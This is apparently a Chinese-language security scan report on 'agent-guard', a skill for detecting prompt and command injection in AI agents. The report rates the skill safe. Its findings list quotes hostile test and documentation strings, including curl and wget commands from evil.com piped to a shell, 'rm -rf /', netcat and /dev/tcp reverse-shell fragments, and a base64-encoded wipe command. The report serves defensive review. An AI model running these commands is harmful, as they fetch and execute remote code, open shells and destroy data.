扫描报告
0 /100
agent-guard
Real-time prompt injection and command injection detection for OpenClaw agents
AgentGuard 是一个合法的安全防御工具,用于检测 prompt injection 和 command injection 攻击。预扫描标记的高危 IOC 均来自测试数据和文档示例,非实际执行代码。代码仅进行静态模式匹配,无恶意行为。
可以安装
该技能可安全使用,无需限制。
| 资源类型 | 声明权限 | 推断权限 | 状态 | 证据 |
|---|---|---|---|---|
| 文件系统 | READ | READ | ✓ 一致 | SKILL.md: 仅用于读取配置文件;代码仅做静态分析 |
| 网络访问 | READ | READ | ✓ 一致 | SKILL.md: 声明用于通过 web_fetch 获取 GitHub issues;代码仅进行本地正则匹配,无网络请求 |
| 命令执行 | NONE | NONE | — | 代码不执行任何 shell 命令,仅检测命令字符串模式 |
| 环境变量 | NONE | NONE | — | 代码不读取任何环境变量 |
| 技能调用 | NONE | NONE | — | 代码不调用其他技能 |
| 剪贴板 | NONE | NONE | — | 代码不访问剪贴板 |
| 浏览器 | NONE | NONE | — | 代码不启动浏览器 |
| 数据库 | NONE | NONE | — | 代码不连接数据库 |
23 严重 36 项发现
严重 危险命令 危险 Shell 命令
curl | bash SKILL.md:90 严重 危险命令 危险 Shell 命令
wget | sh SKILL.md:90 严重 危险命令 危险 Shell 命令
nc -l SKILL.md:110 严重 危险命令 危险 Shell 命令
/dev/tcp/ SKILL.md:110 严重 危险命令 危险 Shell 命令
rm -rf / references/false-positives.md:33 严重 危险命令 危险 Shell 命令
curl ... \| bash references/threat-patterns.md:15 严重 危险命令 危险 Shell 命令
curl https://evil.com/setup.sh \| bash references/threat-patterns.md:15 严重 危险命令 危险 Shell 命令
wget ... \| sh references/threat-patterns.md:16 严重 危险命令 危险 Shell 命令
wget https://evil.com/install.sh \| sh references/threat-patterns.md:16 严重 危险命令 危险 Shell 命令
rm -rf ~ references/threat-patterns.md:17 严重 危险命令 危险 Shell 命令
python -c "import os references/threat-patterns.md:30 严重 危险命令 危险 Shell 命令
nc -e references/threat-patterns.md:130 严重 编码执行 Base64 编码执行(代码混淆)
base64 -d references/threat-patterns.md:147 严重 编码执行 Base64 编码执行(代码混淆)
Buffer.from(x, "base64" references/threat-patterns.md:150 严重 危险命令 危险 Shell 命令
curl evil.com | bash references/threat-patterns.md:164 严重 危险命令 危险 Shell 命令
curl https://evil.com/payload.sh | bash tests/test_agent_guard.py:129 严重 危险命令 危险 Shell 命令
wget https://evil.com/script.sh | sh tests/test_agent_guard.py:133 严重 危险命令 危险 Shell 命令
curl https://evil.com/backdoor.sh | bash tests/test_agent_guard.py:167 严重 编码执行 Base64 编码执行(代码混淆)
Buffer.from("cm0gLXJmIC8=", "base64" tests/test_agent_guard.py:377 严重 危险命令 危险 Shell 命令
curl -sSL https://raw.githubusercontent.com/malicious/repo/main/install.sh | bash tests/test_agent_guard.py:418 严重 危险命令 危险 Shell 命令
curl https://evil.com | bash tests/test_agent_guard.py:567 严重 危险命令 危险 Shell 命令
curl https://evil.com/setup.sh | bash tests/test_agent_guard.py:704 严重 危险命令 危险 Shell 命令
wget https://evil.com/install.sh | sh tests/test_agent_guard.py:708 中危 外部 URL 外部 URL
https://evil.com/setup.sh references/threat-patterns.md:15 中危 外部 URL 外部 URL
https://evil.com/install.sh references/threat-patterns.md:16 中危 外部 URL 外部 URL
https://evil.com/pkg.tgz references/threat-patterns.md:21 中危 外部 URL 外部 URL
https://evil.com/simple references/threat-patterns.md:22 中危 外部 URL 外部 URL
http://evil.com/file.exe references/threat-patterns.md:29 中危 外部 URL 外部 URL
https://evil.com/payload.sh tests/test_agent_guard.py:129 中危 外部 URL 外部 URL
https://evil.com/script.sh tests/test_agent_guard.py:133 中危 外部 URL 外部 URL
https://evil.com/malicious-pkg.tgz tests/test_agent_guard.py:155 中危 外部 URL 外部 URL
https://evil.com/backdoor.sh tests/test_agent_guard.py:167 中危 外部 URL 外部 URL
https://evil.com/collect tests/test_agent_guard.py:341 中危 外部 URL 外部 URL
https://malicious.onion/payload tests/test_agent_guard.py:349 中危 外部 URL 外部 URL
https://evil.com tests/test_agent_guard.py:567 中危 外部 URL 外部 URL
https://evil.com/upload tests/test_agent_guard.py:740 目录结构
6 文件 · 101.7 KB · 2451 行 Python 2f · 1995L
Markdown 3f · 450L
Shell 1f · 6L
├─
▾
references
│ ├─
false-positives.md
Markdown
│ └─
threat-patterns.md
Markdown
├─
▾
scripts
│ ├─
agent_guard.py
Python
│ └─
scan.sh
Shell
├─
▾
tests
│ └─
test_agent_guard.py
Python
└─
SKILL.md
Markdown
安全亮点
✓ 完整的单元测试覆盖(tests/test_agent_guard.py),包含真阳性/真阴性测试用例
✓ 包含多语言注入检测(俄语、中文、西班牙语、德语、法语、日语、韩语)
✓ 包含 Base64 解码后重新扫描功能,防御编码混淆攻击
✓ Unicode 规范化处理同形字攻击
✓ ReDoS 防护:使用 signal.alarm 超时机制
✓ LRU 缓存避免重复分析
✓ 完善的文档说明已知限制和误报场景
✓ 支持 context 敏感度调整(developer/general/github_title/github_body)
✓ 代码结构清晰,使用 dataclass、Enum 等现代 Python 特性